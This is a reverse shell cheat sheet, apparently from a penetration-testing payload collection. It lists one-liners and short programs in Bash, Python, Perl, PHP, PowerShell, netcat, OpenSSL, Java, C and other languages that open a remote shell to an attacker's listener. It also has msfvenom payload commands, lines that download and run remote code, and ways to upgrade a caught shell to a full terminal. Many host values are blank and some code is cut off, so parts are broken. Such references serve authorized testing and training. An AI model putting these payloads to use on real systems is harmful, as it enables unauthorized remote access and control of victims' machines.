Reverse Shell Cheatsheet

Reverse Shell Cheat Sheet #

Tools #

Reverse Shell #

Bash TCP #

bash -i >& /dev/tcp/ 0>&1

0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/ 0<&1 2>&1

Bash UDP #

sh -i >& /dev/udp/ 0>&1

nc -u -lvp 4242

Don’t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Socat #

user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:
user@victim$ wget -q -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

Static socat binary can be found at

Perl #

perl -e 'use Socket;$i="";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python #

Linux only


export RHOST="";export RPORT=4242;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 (No Spaces)

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4242));["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 (No Spaces, Shortened)

python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'

IPv4 (No Spaces, Shortened Further)

python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'


python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

IPv6 (No Spaces)

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

IPv6 (No Spaces, Shortened)

python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Windows only (Python2)

python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'], __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Windows only (Python3)

python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('',4242));threading.Thread(target=exec,args=(\"while(True),1024);s.send(o)\",globals()),daemon=True).start();threading.Thread(target=exec,args=(\"while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)\",globals())).start()"


php -r '$sock=fsockopen("",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby #

ruby -rsocket -e'"",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e'exit if fork;"","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print}))rescue c.puts "failed: #{$_}"}'

NOTE: Windows only
ruby -rsocket -e '"","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'

Golang #

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Netcat Traditional #

nc -e /bin/sh 4242
nc -e /bin/bash 4242
nc -c bash 4242

Netcat OpenBsd #

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4242 >/tmp/f

Netcat BusyBox #

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 4242 >/tmp/f

Ncat #

ncat 4242 -e /bin/bash
ncat --udp 4242 -e /bin/bash

OpenSSL #


user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
user@attack$ ncat --ssl -vv -l -p 4242

user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect > /tmp/s; rm /tmp/s

TLS-PSK (does not rely on PKI or self-signed certificates)

# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48 
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST=""; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE

Powershell #

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('')

Awk #

awk 'BEGIN {s = "/inet/tcp/0/"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Java #

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/;cat <&5 | while read line; do $line 2>&5 >&5; done'");

Java Alternative 1 #

String host="";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java Alternative 2 #

NOTE: This is more stealthy

Thread thread = new Thread(){
    public void run(){
        // Reverse shell here

Telnet #

In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081

In Victime machine run below command:
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081

War #

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file

Lua #

Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux

lua5.1 -e 'local host, port = "", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS #

    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "", function(){
    return /a/; // Prevents the Node.js application from crashing


require('child_process').exec('nc -e /bin/sh 4242')


-var x = global.process.mainModule.require
-x('child_process').exec('nc 4242 -e /bin/bash')


Groovy #

by frohoff NOTE: Java reverse shell also work for Groovy

String host="";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Groovy Alternative 1 #

NOTE: This is more stealthy

Thread.start {
    // Reverse shell here

C #

Compile with gcc /tmp/shell.c --output csh && csh

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 4242;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       

Dart #

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("", 4242).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
          .listen((output) { socket.write(output); });
    onDone: () {

Meterpreter Shell #

Windows Staged reverse TCP #

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4242 -f exe > reverse.exe

Windows Stageless reverse TCP #

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4242 -f exe > reverse.exe

Linux Staged reverse TCP #

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4242 -f elf >reverse.elf

Linux Stageless reverse TCP #

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=4242 -f elf >reverse.elf

Other platforms #

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="" LPORT=4242 -f raw >
$ msfvenom -p cmd/unix/reverse_bash LHOST="" LPORT=4242 -f raw >
$ msfvenom -p cmd/unix/reverse_perl LHOST="" LPORT=4242 -f raw >
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Spawn TTY Shell #

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].

rlwrap nc 4242

rlwrap -r -f . nc 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

:warning: OhMyZSH might break this trick, a simple sh is recommended

The main problem here is that zsh doesn’t handle the stty command the same way bash or sh does. […] stty raw -echo; fg[…] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

echo $TERM && tput lines && tput cols

# for bash
stty raw -echo

# for zsh
stty raw -echo; fg

export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

or use socat binary to get a fully tty reverse shell

socat file:`tty`,raw,echo=0 tcp-listen:12345

Spawn a TTY shell from an interpreter

/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh
  • mysql: ! bash

Alternative TTY method

www-data@debian:/dev/shm$ su - user
su: must be run from a terminal

www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD


Fully interactive reverse shell on Windows #

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

ConPtyShell uses the function CreatePseudoConsole(). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server Side:

stty raw -echo; (stty size; cat) | nc -lvnp 3001

Client Side:

IEX(IWR -UseBasicParsing); Invoke-ConPtyShell 3001

Offline version of the ps1 available at –>

References #